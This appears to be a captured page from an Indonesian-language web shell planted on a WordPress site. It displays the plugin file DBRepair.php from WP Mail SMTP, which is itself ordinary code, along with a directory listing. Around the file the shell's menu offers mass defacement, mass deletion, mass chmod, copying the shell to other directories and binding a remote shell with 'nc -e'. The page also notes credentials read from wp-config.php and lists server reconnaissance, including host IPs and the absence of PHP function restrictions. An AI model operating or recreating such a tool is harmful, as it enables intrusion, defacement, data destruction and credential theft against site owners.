WPZ

/ web / 1 / 000 / 076 / 129 / 313906 / htdocs / wp-content / plugins / wp-mail-smtp / src / [dxwrx-r--r]
berkas terminal database massal sistem
/web/1/000/076/129/313906/htdocs/wp-content/plugins/wp-mail-smtp/src/DBRepair.php (6.36 KB)
<?php

namespace WPMailSMTP;

use WPMailSMTP\Admin\Area;
use WPMailSMTP\Admin\DebugEvents\DebugEvents;
use WPMailSMTP\Admin\DebugEvents\Migration as DebugMigration;
use WPMailSMTP\Queue\Migration as QueueMigration;
use WPMailSMTP\Queue\Queue;
use WPMailSMTP\Tasks\Meta;

/**
 * Class DBRepair to fix the DB related issues.
 *
 * @since 3.6.0
 */
class DBRepair {

	/**
	 * Hook all the functionality.
	 *
	 * @since 3.6.0
	 */
	public function hooks() {

		add_action( 'admin_init', [ $this, 'fix_missing_db_tables' ] );
		add_action( 'admin_init', [ $this, 'verify_db_tables_after_fixing' ] );
	}

	/**
	 * Fixed the missing tables.
	 *
	 * @since 3.6.0
	 */
	public function fix_missing_db_tables() { // phpcs:ignore Generic.Metrics.NestingLevel.MaxExceeded

		// Check if this is the request to create missing tables.
		if (
			isset( $_GET['create-missing-db-tables'] ) &&
			$_GET['create-missing-db-tables'] === '1' &&
			wp_mail_smtp()->get_admin()->is_admin_page() &&
			current_user_can( wp_mail_smtp()->get_capability_manage_options() )
		) {
			check_admin_referer( Area::SLUG . '-create-missing-db-tables' );

			$missing_tables = $this->get_missing_tables();

			if ( ! empty( $missing_tables ) ) {
				foreach ( $missing_tables as $missing_table ) {
					$this->fix_missing_db_table( $missing_table );
				}

				$redirect_page = isset( $_GET['page'] ) ? sanitize_key( $_GET['page'] ) : Area::SLUG;
				$redirect_tab  = isset( $_GET['tab'] ) ? sanitize_key( $_GET['tab'] ) : '';
				$query_args    = [
					'check-db-tables' => 1,
					'nonce'           => wp_create_nonce( 'wp-mail-smtp-check-db-tables' ),
				];

				if ( ! empty( $redirect_tab ) ) {
					$query_args['tab'] = $redirect_tab;
				}

				$redirect_url = add_query_arg(
					$query_args,
					wp_mail_smtp()->get_admin()->get_admin_page_url( $redirect_page )
				);

				wp_safe_redirect( $redirect_url );
				exit;
			}
		}
	}

	/**
	 * Update the Migration option to fix the missing table.
	 *
	 * @since 3.6.0
	 *
	 * @param string $missing_table The name of the table.
	 */
	protected function fix_missing_db_table( $missing_table ) {

		if ( $missing_table === DebugEvents::get_table_name() ) {
			update_option( DebugMigration::OPTION_NAME, 0 );
		} elseif ( $missing_table === Meta::get_table_name() ) {
			update_option( Migration::OPTION_NAME, 1 );
		} elseif ( $missing_table === Queue::get_table_name() ) {
			update_option( QueueMigration::OPTION_NAME, 0 );
		}
	}

	/**
	 * Default Unknown error message - If the table is not created.
	 *
	 * @since 3.6.0
	 *
	 * @return string
	 */
	protected function get_missing_table_default_error_message() {

		$unknown_reason_msg = esc_html__( 'Unknown.', 'wp-mail-smtp' );

		/**
		 * Filter the default error message for unknown reason.
		 *
		 * @since 3.6.0
		 *
		 * @param string $unknown_reason_msg The default unknown reason message.
		 */
		return apply_filters( 'wp_mail_smtp_db_repair_get_missing_table_default_error_message', $unknown_reason_msg );
	}

	/**
	 * Get the error message (Reason) if the table is missing.
	 *
	 * @since 3.6.0
	 *
	 * @param string $missing_table The table name that we are checking.
	 * @param array  $reasons       The array that holds all the error messages or reason.
	 */
	protected function get_error_message_for_missing_table( $missing_table, &$reasons ) {

		$reason = '';

		if ( $missing_table === DebugEvents::get_table_name() ) {
			$reason .= $this->get_reason_output_message(
				$missing_table,
				get_option( DebugMigration::ERROR_OPTION_NAME, $this->get_missing_table_default_error_message() )
			);
		} elseif ( $missing_table === Meta::get_table_name() ) {
			$reason .= $this->get_reason_output_message(
				$missing_table,
				get_option( Migration::ERROR_OPTION_NAME, $this->get_missing_table_default_error_message() )
			);
		} elseif ( $missing_table === Queue::get_table_name() ) {
			$reason .= $this->get_reason_output_message(
				$missing_table,
				get_option( QueueMigration::ERROR_OPTION_NAME, $this->get_missing_table_default_error_message() )
			);
		}

		$reasons[] = $reason;
	}

	/**
	 * Get the reason output message, why the DB table creation failed.
	 *
	 * @since 3.6.0
	 *
	 * @param string $table         The DB table name.
	 * @param string $error_message The error message.
	 *
	 * @return string
	 */
	protected function get_reason_output_message( $table, $error_message ) {

		return sprintf(
			wp_kses( /* translators: %1$s - missing table name; %2$s - error message. */
				__( '<strong>Table:</strong> %1$s. <strong>Reason:</strong> %2$s', 'wp-mail-smtp' ),
				[
					'strong' => [],
				]
			),
			esc_html( $table ),
			esc_html( $error_message )
		);
	}

	/**
	 * Verify the tables.
	 * If there is any missing table then display the Admin Notice of error type.
	 * Else display the success message (Success Admin Notice).
	 *
	 * @since 3.6.0
	 */
	public function verify_db_tables_after_fixing() {

		// Display success or error message based on if there is any missing table available or not.
		if (
			isset( $_GET['check-db-tables'] ) && $_GET['check-db-tables'] === '1' &&
			wp_mail_smtp()->get_admin()->is_admin_page() &&
			current_user_can( wp_mail_smtp()->get_capability_manage_options() )
		) {
			check_admin_referer( 'wp-mail-smtp-check-db-tables', 'nonce' );
			
			$missing_tables = $this->get_missing_tables();

			if ( empty( $missing_tables ) ) {
				WP::add_admin_notice(
					esc_html__( 'Missing DB tables were created successfully.', 'wp-mail-smtp' ),
					WP::ADMIN_NOTICE_SUCCESS
				);

				return;
			}

			$reasons = [];

			foreach ( $missing_tables as $missing_table ) {
				$this->get_error_message_for_missing_table( $missing_table, $reasons );
			}

			$reasons = array_filter( $reasons ); // Filtering out the empty values.

			if ( ! empty( $reasons ) ) {
				$msg = sprintf(
					wp_kses(
						_n( 'The following DB table is still missing.', 'The following DB tables are still missing.', count( $missing_tables ), 'wp-mail-smtp' ) . '<br />%s',
						[
							'br' => [],
						]
					),
					implode( '<br/>', $reasons )
				);
			} else {
				$msg = esc_html__( 'Some DB Tables are still missing.', 'wp-mail-smtp' );
			}

			WP::add_admin_notice(
				$msg,
				WP::ADMIN_NOTICE_ERROR
			);
		}
	}

	/**
	 * Get the missing tables.
	 *
	 * @since 3.6.0
	 *
	 * @return array The array of the missing tables.
	 */
	protected function get_missing_tables() {

		$site_health = new SiteHealth();

		return $site_health->get_missing_db_tables();
	}
}
namawaktuukuranownerpermaksi
..
Abilities/ 2026-07-21 14:1414.29 KB 76129f60960:kundendxwrx-r--r
Admin/ 2026-07-21 14:14651.31 KB 76129f60960:kundendxwrx-r--r
Compatibility/ 2026-07-21 14:149.47 KB 76129f60960:kundendxwrx-r--r
Helpers/ 2026-07-21 14:1429.47 KB 76129f60960:kundendxwrx-r--r
Integrations/ 2026-07-21 14:147.61 KB 76129f60960:kundendxwrx-r--r
Providers/ 2026-07-21 14:14380.79 KB 76129f60960:kundendxwrx-r--r
Queue/ 2026-07-21 14:1436.42 KB 76129f60960:kundendxwrx-r--r
Reports/ 2026-07-21 14:1428.76 KB 76129f60960:kundendxwrx-r--r
Tasks/ 2026-07-21 14:1440.6 KB 76129f60960:kundendxwrx-r--r
TestEmail/ 2026-07-21 14:1422.48 KB 76129f60960:kundendxwrx-r--r
UsageTracking/ 2026-07-21 14:1422.97 KB 76129f60960:kundendxwrx-r--r
WPCLI/ 2026-07-21 14:1452.21 KB 76129f60960:kundendxwrx-r--r
AbstractConnection.php 2026-07-21 14:141.09 KB 76129f60960:kunden-xw-x-----
edt
Conflicts.php 2026-07-21 14:1416.65 KB 76129f60960:kunden-xw-x-----
edt
Connect.php 2026-07-21 14:149.18 KB 76129f60960:kunden-xw-x-----
edt
Connection.php 2026-07-21 14:14964 B 76129f60960:kunden-xw-x-----
edt
ConnectionInterface.php 2026-07-21 14:141.01 KB 76129f60960:kunden-xw-x-----
edt
ConnectionsManager.php 2026-07-21 14:14765 B 76129f60960:kunden-xw-x-----
edt
Core.php 2026-07-21 14:1433.84 KB 76129f60960:kunden-xw-x-----
edt
DBRepair.php 2026-07-21 14:146.36 KB 76129f60960:kunden-xw-x-----
edt
Debug.php 2026-07-21 14:144.24 KB 76129f60960:kunden-xw-x-----
edt
EmailSendingDebug.php 2026-07-21 14:144.82 KB 76129f60960:kunden-xw-x-----
edt
Geo.php 2026-07-21 14:146.76 KB 76129f60960:kunden-xw-x-----
edt
MailCatcher.php 2026-07-21 14:141.36 KB 76129f60960:kunden-xw-x-----
edt
MailCatcherInterface.php 2026-07-21 14:141.16 KB 76129f60960:kunden-xw-x-----
edt
MailCatcherTrait.php 2026-07-21 14:1427.44 KB 76129f60960:kunden-xw-x-----
edt
MailCatcherV6.php 2026-07-21 14:141.2 KB 76129f60960:kunden-xw-x-----
edt
Migration.php 2026-07-21 14:1412.11 KB 76129f60960:kunden-xw-x-----
edt
MigrationAbstract.php 2026-07-21 14:143.21 KB 76129f60960:kunden-xw-x-----
edt
Migrations.php 2026-07-21 14:144.12 KB 76129f60960:kunden-xw-x-----
edt
OptimizedEmailSending.php 2026-07-21 14:141.17 KB 76129f60960:kunden-xw-x-----
edt
Options.php 2026-07-21 14:1448.36 KB 76129f60960:kunden-xw-x-----
edt
Processor.php 2026-07-21 14:1414.11 KB 76129f60960:kunden-xw-x-----
edt
SiteHealth.php 2026-07-21 14:1412.66 KB 76129f60960:kunden-xw-x-----
edt
Upgrade.php 2026-07-21 14:141.55 KB 76129f60960:kunden-xw-x-----
edt
Uploads.php 2026-07-21 14:145.44 KB 76129f60960:kunden-xw-x-----
edt
WP.php 2026-07-21 14:1424.5 KB 76129f60960:kunden-xw-x-----
edt
WPMailArgs.php 2026-07-21 14:144.44 KB 76129f60960:kunden-xw-x-----
edt
WPMailInitiator.php 2026-07-21 14:144.38 KB 76129f60960:kunden-xw-x-----
edt
aksi pada path manual

cwd: /web/1/000/076/129/313906/htdocs/wp-content/plugins/wp-mail-smtp/src
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK